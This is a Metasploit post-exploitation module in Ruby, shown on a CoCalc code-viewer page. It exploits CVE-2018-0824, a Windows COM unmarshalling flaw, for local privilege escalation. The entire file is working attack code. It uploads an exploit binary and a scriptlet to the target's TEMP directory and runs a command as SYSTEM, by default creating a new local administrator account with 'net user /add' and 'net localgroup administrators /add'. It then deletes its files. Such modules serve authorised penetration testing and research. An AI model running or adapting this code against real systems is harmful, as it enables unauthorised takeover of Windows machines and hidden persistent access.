Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/escalate/unmarshal_cmd_exec.rb
19500 views
1
# This module requires Metasploit: https://metasploit.com/download
2
# Current source: https://github.com/rapid7/metasploit-framework
3
##
4
5
class MetasploitModule < Msf::Post
6
include Msf::Post::Common
7
include Msf::Post::File
8
include Msf::Post::Windows::Version
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows unmarshal post exploitation',
15
'Description' => %q{
16
This module exploits a local privilege escalation bug which exists
17
in Microsoft COM for Windows when it fails to properly handle serialized objects.
18
},
19
'References' => [
20
['CVE', '2018-0824'],
21
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'],
22
['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'],
23
['EDB', '44906']
24
],
25
'Author' => [
26
'Nicolas Joly', # Vulnerability discovery
27
'Matthias Kaiser', # Exploit PoC
28
'Sanjay Gondaliya', # Modified PoC
29
'Pratik Shah <[email protected]>' # Metasploit module
30
],
31
'DisclosureDate' => '2018-08-05',
32
'Platform' => ['win'],
33
'Arch' => ARCH_X64,
34
'License' => MSF_LICENSE,
35
'Compat' => {
36
'Meterpreter' => {
37
'Commands' => %w[
38
stdapi_sys_config_getenv
39
]
40
}
41
},
42
'Notes' => {
43
'Stability' => [CRASH_SAFE],
44
'SideEffects' => [ARTIFACTS_ON_DISK],
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options(
51
[
52
OptString.new('COMMAND',
53
[false, 'The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).', nil]),
54
OptString.new('EXPLOIT_NAME',
55
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
56
OptString.new('SCRIPT_NAME',
57
[false, 'The filename to use for the COM script file (%RAND% by default).', nil]),
58
OptString.new('PATH',
59
[false, 'Path to write binaries (%TEMP% by default).', nil]),
60
]
61
)
62
end
63
64
def setup
65
super
66
validate_active_host
67
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..13)
68
@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha(6..13)
69
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
70
@script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)
71
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
72
@exploit_path = "#{temp_path}\\#{exploit_name}"
73
@script_path = "#{temp_path}\\#{script_name}"
74
end
75
76
def populate_command
77
username = Rex::Text.rand_text_alpha(6..13)
78
password = Rex::Text.rand_text_alpha(6..13)
79
print_status("username = #{username}, password = #{password}")
80
cmd_to_run = 'net user /add ' + username + ' ' + password
81
cmd_to_run += ' & net localgroup administrators /add ' + username
82
print_status(cmd_to_run)
83
return cmd_to_run
84
end
85
86
def validate_active_host
87
print_status("Attempting to Run on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
88
rescue Rex::Post::Meterpreter::RequestError => e
89
elog(e)
90
raise Msf::Exploit::Failed, 'Could not connect to session'
91
end
92
93
def validate_remote_path(path)
94
unless directory?(path)
95
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
96
end
97
end
98
99
def validate_target
100
if sysinfo['Architecture'] == ARCH_X86
101
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
102
end
103
version = get_version_info
104
unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win10_1803)
105
fail_with(Failure::Unknown, 'The exploit does not support this OS')
106
end
107
end
108
109
def ensure_clean_destination(path)
110
if file?(path)
111
print_status("#{path} already exists on the target. Deleting...")
112
begin
113
file_rm(path)
114
print_status("Deleted #{path}")
115
rescue Rex::Post::Meterpreter::RequestError => e
116
elog(e)
117
print_error("Unable to delete #{path}")
118
end
119
end
120
end
121
122
def upload_exploit
123
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe')
124
upload_file(exploit_path, local_exploit_path)
125
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
126
end
127
128
def upload_script(cmd_to_run)
129
vprint_status("Creating the sct file with command #{cmd_to_run}")
130
local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template')
131
script_template_data = ::IO.read(local_script_template_path)
132
vprint_status("script_template_data.length = #{script_template_data.length}")
133
full_command = 'cmd.exe /c ' + cmd_to_run
134
script_data = script_template_data.sub!('SCRIPTED_COMMAND', full_command)
135
136
if script_data.nil?
137
fail_with(Failure::BadConfig, 'Failed to substitute command in script_template')
138
end
139
140
vprint_status("Writing #{script_data.length} bytes to #{script_path} to target")
141
write_file(script_path, script_data)
142
vprint_status('Script uploaded successfully')
143
end
144
145
def run
146
if datastore['COMMAND'].nil?
147
cmd_to_run = populate_command
148
else
149
cmd_to_run = datastore['COMMAND']
150
end
151
print_status("exploit path is: #{exploit_path}")
152
print_status("script path is: #{script_path}")
153
print_status("command is: #{cmd_to_run}")
154
begin
155
validate_active_host
156
validate_target
157
validate_remote_path(temp_path)
158
ensure_clean_destination(exploit_path)
159
ensure_clean_destination(script_path)
160
vprint_status("Uploading Script to #{script_path}")
161
upload_script(cmd_to_run)
162
vprint_status("Uploading Exploit to #{exploit_path}")
163
upload_exploit
164
vprint_status('Launching Exploit...')
165
command_output = cmd_exec(exploit_path + ' ' + script_path)
166
vprint_status(command_output)
167
print_good('Exploit Completed')
168
ensure_clean_destination(exploit_path)
169
ensure_clean_destination(script_path)
170
rescue Rex::Post::Meterpreter::RequestError => e
171
elog('Command failed, cleaning up', error: e)
172
print_good('Command failed, cleaning up')
173
print_error(e.message)
174
ensure_clean_destination(exploit_path)
175
ensure_clean_destination(script_path)
176
end
177
end
178
attr_reader :exploit_name, :script_name, :temp_path, :exploit_path, :script_path
179
end
180
181